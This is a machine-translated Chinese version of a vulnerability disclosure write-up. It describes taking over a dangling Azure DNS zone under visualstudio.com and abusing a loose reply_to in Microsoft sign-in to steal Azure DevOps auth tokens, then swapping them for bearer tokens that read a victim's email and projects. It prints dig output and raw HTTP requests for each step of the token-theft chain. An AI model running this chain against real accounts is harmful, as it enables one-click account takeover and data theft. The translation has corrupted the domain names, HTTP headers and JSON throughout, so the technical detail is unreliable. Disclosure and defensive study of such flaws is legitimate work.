只需单击一次即可接管Azure DevOps帐户

2020-07-02 00:59:18

当执行子域名接管时,您应该问问自己,影响是什么,我如何证明这一点?当接管子域项目-cascade.viewalstudio.com时,情况尤其如此。

乍一看,我们似乎不能通过接管这个子域来做太多事情,因为*.viewalstudio.com下没有什么超级敏感的东西。然而,在更深入的审查下,我们能够利用信任边界,导致一键帐户接管Azure DevOps帐户。

通过自动化,我们找到了子域项目-cascade.viewalstudio.com,它容易受到Azure Zone DNS接管的攻击。

project-cascade.viewalstudio.com的NS记录指向Azure DNS,但是它们不再在Azure DNS上注册。这导致查找被拒绝,如下所示:

DNS-接管查找项目-cascade.viewalstudio.com。在名称服务器ns3-05.azure-dns.org上,状态:[拒绝]DNS-Takeover查找项目-cascade.viewalstudio.com。在名称服务器ns2-05上,azure-dns.net状态:[拒绝]DNS-Takeover查找项目-cascade.viewalstudio.com。在名称服务器ns1-05.azure-dns.com上,状态:[拒绝]DNS-Takeover查找项目-cascade.viewalstudio.com。在名称服务器ns4-05上。azure-dns.info状态:[拒绝]。

由于查找被拒绝,我们能够在我们拥有的Azure帐户下注册子域。通过这样做,我们能够为子域项目-cascade.viewalstudio.com创建任意DNS记录:

txt记录-txt.project-cascade.viewalstudio.com,值为Azure DNS区域接管POC(概念验证)。

$Dig txt [email protected]为简洁起见,已省略.;;答案部分:txt.project-cascade.viewalstudio.com。10英寸TXT";Azure DNS区域接管POC&34;$dig a arec.project-cascade.visual [email protected]为简洁起见,省略了.;;回答SECTION:arec.project-cascade.visualstudio.com.。2475 in A 3.88.203.203

现在我们已经成功接管了子域,是时候调查安全影响了。

我们发现,viewalstudio.com下面有一些子域,它们促进了通过login.microsoftonline.com的身份验证流。

从上面的URL中需要注意的最重要的事情是端点https://app.vssps.visualstudio.com/_signin:的以下参数和值。

通过一些测试,我们确定该身份验证流具有松散配置的REPLY_TO地址,从而允许*.viewalstudio.com下的任何域接收身份验证令牌。

在上面的url中,请注意我们更改了REPLY_TO参数的值以包含以下内容:https%3A%2F%2Farec.project-cascade.visualstudio.com%2F(我们的子域接管)。

这将提示用户通过正常的Microsoft live.com身份验证流登录,或者如果用户已经登录,则继续登录并重定向请求。

一旦登录,就会发出以下请求,最终导致向我们的控制域arec.project-cascade.visual alstudio.com发出POST请求。

我们发现可以通过app.vsaex.visual alstudio.com将偷来的身份验证令牌交换为持有者令牌。然后,此承载令牌可用于向vsaex.viewalstudio.com、dev.azure.com和vssps.dev.azure.com进行身份验证。

POST/_API/WebPlatformAuth/SessionToken HTTP/1.1主机:app.vsaex.viewalstudio.com连接:closeContent-Length:105来源:https://app.vsaex.visualstudio.comX-VSS-ReauthenticationAction:抑制内容-类型:应用程序/jsonAccept:application/json;api-version=6.0-preview.1;excludeUrls=trueX-Requested-With:XMLHttpRequest.为简洁起见省略了.Cookie:userAuthentication=<;截断的id_Token>;FedAuth=<;截断的FedAuth。00000000-0000000-0000-000000000000";,";强制";:FALSE,";令牌类型";:0,";namedTokenId";::";Aex.Profile";}。

此请求返回以下响应,其中包含可在其他地方使用的有效承载令牌。

例如,在app.vsaex.viewalstudio.com上,此令牌可用于提取用户的电子邮件。

GET/_APIs/USER/USER HTTP/1.1主机:app.vsaex.viewalstudio.com连接:closeX-tfs-FedAuthRedirect:SuppressX-vss-ReAuthenticationAction:SuppressX-RequestAccept-With:XMLHttpRequestAccept-Language:EN-USAuthorization:application/json;api-version=6.0-preview.1;excludeUrls=trueUser-Agent:<;snip刚收到的承载令牌>;接受:XMLHttpRequestAccept-Language:XMLHttpRequestAccept-Language:EN-USAuthorization:承载<;snip刚刚接收的承载令牌>;Linux x86_64)AppleWebKit/537.36(khtml,像壁虎一样)Chrome/79.0.3945.130Safari/537.36X-tfs-Session:ab1e4b56-599c-4ab6-9f5e-756c486a0f2bSec-Fetch-Site:Same-OriginSec-Fetch-Mode:corsReferer:https://app.vsaex.visualstudio.com/me?mkt=en-USAccept-Encoding:gzip,deducateHTTP/1.1200OKCache-Control:no-cachePragma:no-cacheContent-Length:258.为简洁起见,已省略.{";Descriptor";:msa.NTg0Zjc4NDAtYzc5ZC03MWU0LWJkN2ItMDZhY2Y1N2Q2OTA1";,";DisplayName";:";s";,";mail";:";<;account_email>;";,";unconfirmedMail";:NULL,";Country";:";AU";,";dateCreated";:";2018-05-25T23:19:53.6843383+00:00";,";Last Modified";:";2019年-01-06T15:43:50.2963651+00:00";,";修订";:0}。

承担者令牌可以用来访问https://app.vsaex.visualstudio.com/me?mkt=en-US,我们发现它公开了dev.azure.com上相关用户的项目名称。

获取/seanyeoh/_usersSettings/keys?__rt=fps&;__ver=2 HTTP/1.1主机:dev.azure.com连接:closex-tfs-fedauthredirect:SuppressOrigin:https://dev.azure.comx-vss-reauthenticationaction:抑制授权:承载<;剪辑&>接受:application/json;api-version=5.0-preview.1;excludeUrls=true;enumsAsNumbers=true;msDateFormat=true;noArrayWrap=trueUser-Agent:Mozilla/5.0(X11;Linuxx86_64)AppleWebKit/537.36(khtml,像壁虎一样)Chrome/79.0.3945.130Safari/537.36Sec-Fetch-Site:Same-siteSec-Fetch-Mode:corsAccept-Encoding:gzip,deducateAccept-Language:EN-US,EN;q=0.9。

恶意攻击者可以通过将毫无戒备的用户定向到以下URL,对其执行1次单击驱动程序攻击:

从这一点起,攻击者将完全控制用户的Azure DevOps帐户。

此外,对project-cascade.viewalstudio.com的区域接管可能已用于验证project-cascade.viewalstudio.com域的所有权,设置MX记录以捕获发往*.project-cascade.viewalstudio.com的电子邮件,并证明所有权以创建SSL证书。这可能导致各种欺诈和冒充Microsoft服务的机会。

感谢MSRC和Azure DevOps团队对该问题的快速分类和补救。

Assetnote可以通过持续监控攻击面来帮助您检测这些问题。为了实现更深入、更全面的集成,我们的Azure集成可确保您的基础设施状态与我们的引擎同步,以确保您的安全团队在托管区域接管变得易受攻击时收到警报。